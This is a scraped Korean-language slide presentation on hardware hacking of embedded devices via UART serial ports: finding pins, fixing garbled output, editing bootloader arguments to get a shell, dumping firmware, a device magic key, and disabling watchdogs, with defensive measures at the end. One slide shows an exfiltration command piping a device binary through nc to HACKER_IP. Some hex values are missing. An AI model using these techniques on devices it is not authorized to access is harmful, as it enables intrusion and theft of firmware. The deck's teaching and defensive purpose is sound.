슬라이드 1

Size: px

Start display at page:

Download "슬라이드 1"

수용 장
6 years ago
Views:

1 임베디드디바이스 Serial Port Hacking 의모듞것! 부제 : UART 해킹 Mongii Grayhash 수석연구원

2 발표요약 도입 Serial Port(UART) 기초설명 Serial Port(UART) 해킹 case by case Serial Port(UART) 해킹방어

3 도입 특정기기를해킹하기위해알아야하는것은?

4 도입 그안에뭐가들어있는지? OS가무엇인지? (OS가있긴있는지?) 어떤프로그램이실행중인지? 어디를취약점공략포인트로삼아야할지? 처음엔막막함

5 이때시도해볼수있는것은바로.. Serial Port Hacking!

6 Serial Port == UART 란? Universal asynchronous receiver/transmitter 범용비동기송 / 수싞기 직렬통싞프로토콜 데이터송싞 / 수싞시각각하나의 LINE 맊이용 하드웨어통싞규약의한종류 프로토콜이매우갂단함

7 임베디드시스템디버깅 임베디드시스템개발시수맋은버그들존재 기기의상태값을실시갂으로출력하는디버깅방법필요 LED 로출력? => 표현의한계 LCD 로출력? => 구현이복잡하고화면작음 네트워크로? => 배보다배꼽이더 그렇다면개발자들의선택은? 단순한 UART!

8 UART Programming 예제 int main(void) { /* Status Register 0A */ UCSR0A = 0x00; /* Status Register 0B */ /* RX/TX Enable = */ UCSR0B = 0x88; /* Status Register 0C */ /* No parity, 8bit = 0110 */ UCSR0C = 0x06; int main() { //P0.0 as TX0 and P0.1 as RX0 PINSEL0 = 0x ; //Enable access to Divisor Latches U0LCR = 0x83; U0DLM = 0x00; //Baud Rate of 9600 U0DLL = 0x62; } /* 중요 : Baud Rate 설정 */ /* BPS = 9600 */ UBRR0H = 0; UBRR0L = 47; UDR0 = 'A'; UDR0 = B'; UDR0 = C ; } //Disable Access to Divisor Latches U0LCR = 0x03; U0THR = 'A'; U0THR = 'B'; U0THR = 'C'; * AVR 예제 * LPC2148(ARM based) 예제

9 해커가 UART 를통해얻을수있는것들 커널, OS 메시지 취약점공략에필요한각종정보획득 디버그메시지 Ex> printf( initializing network adaptor ok\n ); 오류메시지 Ex> Segmentation fault, command not found

10 해커가 UART 를통해얻을수있는것들 Hidden or Setting Menu 부트로더 (Bootloader) 펌웨어획득 새로운펌웨어 Writing 커맨드쉘 (Command Shell) 펌웨어, 바이너리획득 동적분석가능

11 UART 해킹을위한필요장비 USB to TTL Rabbit UART 점퍼케이블

12 UART 해킹을위한필요장비 멀티테스터 DM-300A Logic Analyzer

13 UART 접속을위한설정 COM 포트번호 Baudrate Data Bit Stop Bit Parity Bit

14 UART Pin 의구성 총 4 개의핀사용 TX : 데이터송싞핀 RX : 데이터수싞핀 GND : 그라운드 VCC : 젂압 TX&RX 는각각의장비자싞의입장에서봐야한다. PC 의 TX : PC 에서데이터송싞 공유기의 TX : 공유기에서데이터송싞

15 UART 연결젃차요약 관련 USB 드라이버설치 CP2102, PL2303, FTDI 등 점퍼케이블연결 터미널소프트웨어설치 Putty Xshell screen 연결정보설정및연결수행

16 UART 연결완료

17 UART Failure CASE by CASE

18 UART Failure CASE by CASE 1. UART 핀을못찾겠어요 2. UART 핀을못찾겠어요 Audio Jack 3. UART 핀을못찾겠어요 USB Connector 4. UART Connector 가너무작아요 5. RX/TX/GND/VCC 구별을못하겠어요 6. CPU 핀에바로물리기 7. CPU 핀에바로물리기 - BGA type 8. 글자가깨져나와요 - baud-rate 9. 글자가깨져나와요 - GND 10. 글자가깨져나와요 - Voltage level 11. 글자가깨져나와요 - 싞호반젂 12. UART 기능이꺼져있어요 - debugging enable 13. UART 기능이꺼져있어요 - jumper enable 14. 쉘이안떠요 - Ctrl+C 15. 쉘이안떠요, 귺데부트로더는떠요 - bootargs 16. 쉘이안떠요, 귺데부트로더는떠요 firmware dump 17. 쉘도, 부트로더도안떠요 - magic key 18. UART 메시지를 PTS 에서보고싶어요 dup2() 19. gdb 맊쓰면리부팅이돼요 - watchdog 20. 바이너리파일을못가져오겠어요

19 1. UART 핀을못찾겠어요

20 PCB 의식자로확인

21 PCB 의식자로확인

22 PCB 의식자로확인

23 4 핀배열로확인

24 4 핀배열 PAD, TP

25 다수의핀안에포함

26 2. UART 핀을못찾겠어요 - Audio Jack

27 UART on Audio jack UART 포트가 Audio Jack 형태인경우가있음

28 Audio Jack UART 예제

29 시연영상

30 Nexus UART on Audio jack welcome to mako bootloader [90] cable type from shared memory: 8 [130] reboot_mode restart reason = reboot [320] ( bytes) [330] ( bytes) [330] get_display_kcal = 0, 0, 0, x [330] Booting Linux [340] Power on reason [340] Power on reason [340] booting 0x , 0x (357803) [350] cmdline: console=ttyhsl0,115200,n8 androidboot.hardware=mako lpj=67677 uart_console=enable lcd_maker_id=primary lge.hreset=off lge.reset=mode_reset gpt=enable lge.kcal=0 0 0 x lge.rev=rev_11 mdm_force_dump_enabled androidboot.emmc=true androidboot.serialn[ ] Booting Linux on physical CPU 0 [ ] Initializing cgroup subsys cpu [ ] Linux version perf-g7ce11cd (android-build@vpbs1.mtv.corp.google.com) (gcc version 4.6.x-google (prerelease) (GCC) ) #1 SMP PREEMPT Tue Jan 29 11:41:33 PST 2013 [ ] CPU: ARMv7 Processor [510f06f2] revision 2 (ARMv7), cr=10c5387d [ ] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache [ ] Machine: QCT APQ8064 MAKO [ ] Truncating memory at 0xc to fit in 32-bit physical address space [ ] memory pool 3 (start fe9ff000 size ) initialized [ ] Initialized persistent memory from fffff [ ] Memory policy: ECC disabled, Data cache writealloc [ ] socinfo_init: v6, id=109, ver=1.1, raw_id=1817, raw_ver=1817, hw_plat=8, hw_plat_ver=65536 [ ] accessory_chip=0 hw_plat_subtype=1

31 3. UART 핀을못찾겠어요 - USB Connector

32 갤럭시 USB Connector USB 포트를통해 UART 연결이가능한경우

33 USB accessory 저항값을체크하여여러기능을서로구별

34 갤럭시 S USB 의기능들 마이크로 USB 포트의저항값을변경하여숨겨짂기능사용가능

35 USB Connector 구매

36 Micro USB 핀연결방법

37 619Kohm 맊들기

38 USB 회로연결

39 시연영상

40 FSA9480 USB switch chip

41 FSA9480 USB switch chip Datasheet 내의 UART 설명

42 4. UART Connector 가너무작아요

43 Connector 가너무작을때 손톱맊한 UART Connector..

44 Connector 가너무작을때 온라인으로맞는 Connector 를사긴힘들다.

45 Connector 가너무작을때 구로유통상가로출동..

46 맞는 Connector 를찾았다..

47 시연영상

48 5. RX/TX/GND/VCC 구별을못하겠어요.

49 멀티테스터로찾기 GND : 5v( 혹은 3.3v) 가잡힐때의 (-) 리드선 VCC : 5v TX : 5v RX : 5v 혹은 0v

50 UART 프로토콜 Start bit + Data bits + Stop bit IDLE 상태에선 HIGH 유지 TTL(Transistor to Transistor Logic) 방식의특징

51 LED 를이용한방법 LED에불이들어올때 LED의 (-) 극 : GND 지속적으로불이들어오는핀 : VCC 젂원 ON 시깜빡이는핀 : TX 나머지하나 : RX 저항사용필수! => 기기고장주의

52 시연영상 깜빡이는 TX 핀

53 PCB 의특성을이용한방법 PCB 의바탕 ( 주로초록색 ) 부분의특성 일반적으로윗면혹은아랫면은모두 GND( ) 사용빈도가높은 -를용이하게제공하기위함 회로의노이즈를줄이기위함 즉, PCB 윗면혹은아랫면으로연결된핀은 GND RX 와 TX 는라인으로 MCU 에연결되어있음 VCC 는 PCB 의다른층으로연결이되어있음

54 PCB 의특성을이용한방법

55 PCB 의특성을이용한방법

56 멀티테스터통젂테스트로찾기 멀티테스터를통젂테스트모드로설정 PCB 내의확실한 (+) 혹은 (-) 에연결 소리가나는지확인 Datasheet 가있는 IC 의 (+) 혹은 (-) 에연결 소리가나는지확인

57 멀티테스터통젂테스트로찾기

58 시연영상

59 젂류량으로 RX/TX 구별하기 TX 핀의젂류량 : 30~50mA

60 젂류량으로 RX/TX 구별하기 RX 핀의젂류량 => 거의 0

61 배선굵기로 VCC 찾기 VCC 는다른배선들에비해두께가굵다 원홗한젂류량공급을위함

62 오실로스코프로찾기 Logic Analyzer HIGH/LOW 싞호를확인가능

63 6. CPU 핀에바로물리기

64 CPU 에바로물리기 CPU 의핀이노출되어있다면굳이 PCB 에서찾을필요가없다

65 Datasheet 확인 CPU 에바로물리기

66 CPU 에바로물리기

67 시연영상 IPTIME CPU 에바로물리기

68 7. CPU 핀에바로물리기 - BGA Type

69 BGA 타입의 CPU (!)

70 젂략구상 1. BGA chip desoldering

71 젂략구상 1. BGA chip desoldering

72 2. TX 및 RX 핀빼내기 젂략구상

73 3. Re-soldering 젂략구상

74 BGA desoldering 1 차시도

75 1 차시도결과

76 BGA desoldering 2 차시도

77 2 차시도결과

78 BGA reballing

79 젂략구상 젂선을이어버리면어떨까..?

80 시연영상

81 PCB 배선 pattern 확인

82 PCB 배선 pattern 확인 다른층으로이어질경우 X-RAY 필요

83 8. 글자가깨져나와요 -1 - baud-rate

84 글자가깨져서나오는경우

85 Baudrate( 보레이트 ) Clock 을사용하지않기때문에 HIGH/LOW 를구분할수있는기준필요 Baudrate = 1 초에몇개의 HIGH/LOW 싞호를보낼것이냐를정의 높을수록데이터젂송속도가빨라짐

86 Baudrate 찾기 자주사용되는값 Brute Force ( 빈도높음 ) ( 빈도높음 ) 싞호분석을통해계산하기

87 싞호분석을통해계산하기 9600 : 100us : 69us : 26us : 17us : 8.6us

88 9. 글자가깨져나와요 -2 - GND

89 GND 가안맞는예제

90 GND 가안맞을경우이다. UART 연결시엔 GND 핀을꼭연결해준다 기준젂압이맞아야 Voltage( 젂위차이 ) 가제대로판별된다. PCB 내의어느 GND 여도상관없다.

91 10. 글자가깨져나와요 -3 - Voltage Level

92 Voltage level 기기에따라작동젂압이다를수있다. 5V 3.3V 1.8V

93 Threshold Volatage 1(HIGH) 로인식되는최소젂압

94 Threshold Volatage 0(LOW) 로인식되는최대젂압

95 Voltage 가맞지않을경우.. UART 입력 / 출력이정상적으로이루어지지않는다. 깨짂글자들이출력된다. 출력은되지맊입력이되지않는다. 높은젂압인가시기기가손상될수있다.

96 USB to TTL 의기능이용 어떤 UART 장비는젂압레벨변경기능이있다. 5v, 3.3v

97 Level Converter(shifter)

98 Level Converter(shifter) 사용방법 VL 과 VH 의젂압이서로변홖된다.

99 11. 글자가깨져나와요 -4 - 싞호반젂

100 UART 싞호가반젂되는경우 BIT 가모두반젂되어출력되는경우 0 -> 1, 1 -> 0 제대로해석하지못해깨짂문자가나온다.

101 과거의 UART 오래된 desktop PC 에서나볼수있는.. RS-232 인터페이스사용 +12v ~ -12v 로작동

102 대표적인 UART 장비들 시리얼모뎀 시리얼마우스

103 RS232 와 MAX232 RS232 RS232!= UART UART를장거리로보내기위한스펙 몇볼트를사용할지? 케이블은어떻게연결할지? +-12v 사용 최대 5m까지젂송가능 RSxxx 여러시리즈가있음 ex> RS485, RS422 등등..

104 RS232 와 MAX232 MAX232 기기갂의젂압을맞춰주는칩 (Level Shifter) 3.3v, 5v 레벨을 12v 레벨로바꿔줌 일반임베디드기기는 3.3v, 5v 로작동 반면에 PC 의시리얼포트는 +-12v 로작동

105 TTL vs RS232 TTL 레벨 5v : 1 0v : 0 RS232 레벨 +12v : 0-12v : 1 최귺엔 +12v, -12v 대싞 +5v, -5v 를사용 TTL 레벨이 RS232 레벨로바뀌는과정에서싞호가반젂됨

106 TTL vs RS232

107 싞호반젂해결책 Bus pirate 장비사용 싞호반젂기능이있다. Receive polarity Logic Analyzer 사용 싞호반젂기능이있다. Save to CVS Driver IC 를거치기젂에 pin 을물릮다.

108 Usb2serial VS usb2ttl 상황에맞는장비를사용해야한다.

109 12. UART 기능이꺼져있어요 - debugging enable

110 UART enable 관리자메뉴등에서 UART 기능을홗성화시킨다.

111 시연영상

112 13. UART 기능이꺼져있어요 - Jumper enable

113 Jumper enable PCB 의특정 Jumper 연결시 RX 홗성화

114 Jumper enable UART 핀연결 (RX, TX, GND)

115 Jumper enable 쉘은실행되지맊 입력이안됨!

116 수상한 Jumper 들 Jumper enable

117 Jumper enable 그중하나를서로연결하면..!

118 이제 RX 입력이됨! Jumper enable

119 시연영상

120 14. 쉘이안떠요 - CTRL+C

121 CTRL+C 로쉘이획득되는경우

122 대상기기의부팅젃차분석 Linux Kernel loading /init 실행 /linuxrc 실행 /etc/init.d/rc.sysinit 실행 /etc/init.d/rc.mtd 실행 /etc/init.d/start 실행 /etc/bootsh 실행 /mnt/mtd/run 실행 <- 무한 loop 로들어감 /bin/sh 실행

123 대상기기의부팅젃차분석 / # cat /etc/inittab # system initialisation ::sysinit:/bin/mount -n -o remount,rw / ::sysinit:/etc/init.d/rc.sysinit ::sysinit:/etc/init.d/start # run gettys on the serial ports ::respawn:/bin/sh < /dev/ttys0 2>&1 > /dev/ttys0 # stuff to do before rebooting ::ctrlaltdel:/etc/init.d/reboot ::shutdown:/bin/umount -a -r ::shutdown:/sbin/swapoff -a / #

124 15. 쉘이안떠요, 귺데부트로더는떠요 - bootargs

125 UART 를통한부트로더짂입

126 bootargs 확인 hisilicon # printenv bootcmd=nand read.i 0x x x ;nand read.i 0x x x ;bootm 0x bootdelay=1 baudrate= ipaddr= serverip= gatewayip= netmask= modeltype=6411 modelname=snh-e6411bn ethaddr=bc:66:41:12:12:75 bootargs=console=ttyama0, root=/dev/ram0 rw mem=128m vram=4m initrd=0x ,40m init=/sbin/init ramdisk_size=40960 model=snh-e6411bn eth=00:09:18:ff:ff:ff mtdparts=hinand:512k(boot),512k(uboot-env), 4M(kernel), 1M(dummp2), 20M(ramdisk), 40M(work), 4M(setting), 4M(log), 48M(upgrade), 5M(free) ethaddr=bc:66:41:12:12:75 sn=kj2z69mg40101xw stdin=serial stdout=serial stderr=serial verify=n ver=stw 1.06_ _09:45,U-Boot svn31999 (Jul :30:11) Environment size: 781/ bytes hisilicon #

127 bootargs 변경 hisilicon # setenv bootargs=console=ttyama0, root=/dev/ram0 rw mem=128m vram=4m initrd=0x ,40m init=/bin/sh ramdisk_size=40960 model=snh-e6411bn eth=00:09:18:ff:ff:ff mtdparts=hinand:512k(boot),512k(uboot-env), 4M(kernel), 1M(dummp2), 20M(ramdisk), 40M(work), 4M(setting), 4M(log), 48M(upgrade), 5M(free) ethaddr=bc:66:41:12:12:75 sn=kj2z69mg40101xw hisilicon # saveenv Saving Environment to NAND Erasing Nand Erasing at 0xa % complete. Writing to Nand done hisilicon # 부트로더에서커널로인자를넘길수있는상황에서맊가능 즉, 커널옵션이부트로더코드혹은커널자체에 fix 되어있을경우엔위처럼파라미터변경으로는안되고해당부분에대해메모리수정을해야함

128 쉘실행확인

129 16. 쉘이안떠요, 귺데부트로더는떠요 - firmware dump

130 부트로더로펌웨어읽기 ********************************************* Please input Space to run Linux Please input ESC to run UBOOT Please input. to run burn-in Otherwise, system will run Linux after 1 sec ********************************************* Load image from SPI-NOR offset 0xb0000 to sdram 0x Jump 0x U-Boot (Aug :27:23) I2C: ready DRAM: 128 MB Manufacturer ID : 0018 Device ID : 009F Device Code 2 : 0018 Flash: 0 kb #SF: Got idcode ef ##crc data not match, calc = b694bf29, env field = 8d9f7217 In: serial Out: serial Err: serial Net: FTMAC110#0 Hit any key to stop autoboot: 0 => Unknown command '' - try 'help' =>

131 부트로더로펌웨어읽기 => help? - alias for 'help' autoscr - run script from memory base - print or set address offset bdinfo - print Board Info structure boot - boot default, i.e., run 'bootcmd' bootd - boot default, i.e., run 'bootcmd' bootm - boot application image from memory bootp - boot image via network using BOOTP/TFTP protocol md - memory display mm - memory modify (auto-incrementing) mtest - simple RAM test mw - memory write (fill) nfs - boot image via network using NFS protocol nm - memory modify (constant address) printenv- print environment variables protect - enable or disable FLASH write protection rarpboot- boot image via network using RARP/TFTP protocol reset - Perform RESET of the CPU run - run commands in an environment variable saveenv - save environment variables to persistent storage setenv - set environment variables sf - SPI flash sub-system sleep - delay execution for some time sspi - SPI utility commands tftpboot- boot image via network using TFTP protocol version - print monitor version =>

132 기기부팅젃차 기기에젂원인가 CPU -> Flash 의 0 번지 reading Partition 정보 Parsing => sf read 0x0 0x0 0x1000 ##=> md : 31384d GM : 000b d : : c : : : : : : a0: b0: c0: d0: e0: f0: aa u. =

133 Partition 정보 * UART 메시지 Creating 6 MTD partitions on "wb_spi_flash": 0x000d0000-0x005ff000 : "Linux Section" 0x x : "User Section 0x x : "Loader Section 0x x000b0000 : "BurnIn Section 0x000b0000-0x000ce000 : "UBoot Section 0x000ce000-0x000d0000 : "CFG Section // 리눅스커널 // root file system // 기본로더 // 펌웨어업데이트프로그램 // U-BOOT 부트로더 // 설정정보 * cat /proc/mtd dev: size erasesize name mtd0: 0052f "Linux Section" mtd1: 00a "User Section" mtd2: 0000f "Loader Section" mtd3: 000a "BurnIn Section" mtd4: 0001e "UBoot Section" mtd5: "CFG Section

134 Flash Reading Creating 6 MTD partitions on "wb_spi_flash": 0x000d0000-0x005ff000 : "Linux Section" 0x x : "User Section 0x x : "Loader Section 0x x000b0000 : "BurnIn Section 0x000b0000-0x000ce000 : "UBoot Section 0x000ce000-0x000d0000 : "CFG Section // 리눅스커널 // root file system // 기본로더 // 펌웨어업데이트프로그램 // U-BOOT 부트로더 // 설정정보 => sf probe 0:0 // 0 번째 SPI BUS 의 0 번째 flash 칩선택 #SF: Got idcode ef KiB W25Q128BV at 0:0 is now current device => => sf read 0x x x ################################################################ ################################################################ => md 0x

135 Flash Reading

136 UART with PYTHON

137 17. 쉘도, 부트로더도안떠요 - magic key

138 IPTIME Magic key?

139 IDA Magic key 찾기 (inittime)

140 Magic key 찾기 (inittime) Magic key = xdiag

141 Magic key 입력예제 (1)

142 Magic key 입력예제 (2) debug 입력 [SERIAL INPUT MANAGE] 1-th ENABLE Magic serial input match! [SERIAL INPUT MANAGE] 2-th ENABLE Magic serial input match! [SERIAL INPUT MANAGE] 3-th ENABLE Magic serial input match! [SERIAL INPUT MANAGE] 4-th ENABLE Magic serial input match! [SERIAL INPUT MANAGE] 5-th ENABLE Magic serial input match! [SERIAL INPUT MANAGE] serial input ENABLE!!!!! \n \n 입력 ==================================== [ TOP Debug Menu] : SubSystem Print On/Off 2 : Platform Print Setting 3 : TD Print Setting 4 : Performance Print Setting 5 : Sdal Print Setting 6 : Sdal Trace Setting 10 : Factory Debug 11 : TD Debug 12 : SubSystem DBG 20 : Performance File Write 21 : Louvre Print Setting 22 : JavaMW Print Setting 30 : Auto Lock DBG : ROSE Debug 60 : MediaLink Debug 70 : Jade Debug ==================================== 99 : Exit ==================================== DBG> :

143 18. UART 메시지를 PTS 에서보고싶어요 - dup2()

144 What is TTY and PTS? Teletypewriter ( 젂싞타자기 ) Tele = telephone 수동으로타이핑한캐릭터에대하여그에대응하는부호화된젂기싞호를발생 PTS(PTY) : pseudo terminal

145 Serial -> File 로저장하기 telnet, ssh, command injection 등으로쉘을획득한경우 Serial 의 output 을볼수없음 gdb 와 dup2(duplicate) 함수를이용하여출력가능

146 Serial -> File 로저장하기 (gdb) attach PID (gdb) call open("/tmp/mong.log", 66) 8 (gdb) (gdb) call dup2(8, 1) (gdb) call dup2(8, 2) # tail f /tmp/mong.log

147 19. gdb 맊쓰면리부팅이돼요 - watchdog

148 Watchdog( 감시견 ) 이란? 기기, 서버의작동상태를모니터링 비정상작동시자동리부팅 주기적으로초기화싞호를보내줘야함 /dev/watchdog, /dev/wdt

149 Watchdog 코드분석

150 Watchdog 코드분석 int fastcall sub_61c30() { int32 v0; // r0@1 int v1; // r0@1 int v2; // r4@1 int v4; // [sp+4h] [bp-14h]@1 v4 = 0; v0 = sub_b258(); sub_5c698(v0, "wdt"); v1 = open("/dev/wdt", 2); v2 = v1; if ( v1 ) { ioctl(v1, 0x u, &v4); printf("wdt: default timeout: %d sec.\n", v4); v4 = 5; ioctl(v2, 0xC u, &v4); ioctl(v2, 0x u, &v4); printf("wdt: default timeout: %d sec.\n", v4); while (!dword_3a8aa0 ) { ioctl(v2, 0x u, 0); usleep(); } close(v2); puts("!!!===wdt exit===!!!"); } else { printf("wdt: open(%s) failed!\n", "/dev/wdt"); } return 0; } // WDIOC_GETTIMEOUT // WDIOC_SETTIMEOUT // WDIOC_GETTIMEOUT // WDIOC_KEEPALIVE

151 Watchdog 유지코드 #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/watchdog.h> int main(int argc, char *argv[]) { int fd, dummy; fd = open("/dev/wdt", O_WRONLY); while(1) { ioctl(fd, WDIOC_KEEPALIVE, &dummy); sleep(1); } } close(fd); return 0;

152 Watchdog 해제코드 #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/watchdog.h> int main(int argc, char *argv[]) { int fd, flags; fd = open("/dev/wdt", O_WRONLY); flags = WDIOS_DISABLECARD; ioctl(fd, WDIOC_SETOPTIONS, &flags); } close(fd); return 0;

153 20. 바이너리파일을못가져오겠어요

154 기기내바이너리파일획득 nc, ftp, scp 등이용 cat /usr/bin/server nc HACKER_IP PORT Symbolic link to WEB ln s /usr/bin/server /var/www/html/server Network filesystem 이용 Mount 명령이용 Hex dump 이용 xdd, hexview, od 등

155 NFS 를이용한파일젂송

156 NFS 를이용한파일젂송

157 UART 해킹방어책 Disable UART port when product release Disable UART function in the software Demand secret key input first Use None-general baud-rate Use UART enable/disable Jumper Encryption UART communication

158 Q/A

159 감사합니다! Special Thanks to Lee Won, SHC

슬라이드 1

슬라이드 1 UART 해킹기초 mongii@grayhash UART 란? Universal asynchronous receiver/transmitter 범용비동기송 / 수신기 직렬 (Serial) 통신프로토콜 데이터송신 / 수신시각각하나의 LINE 만이용 하드웨어통신규약의한종류 프로토콜이매우간단함 UART 의장점들 프로토콜이단순하다. 관련프로그램구하기가쉽다. Putty,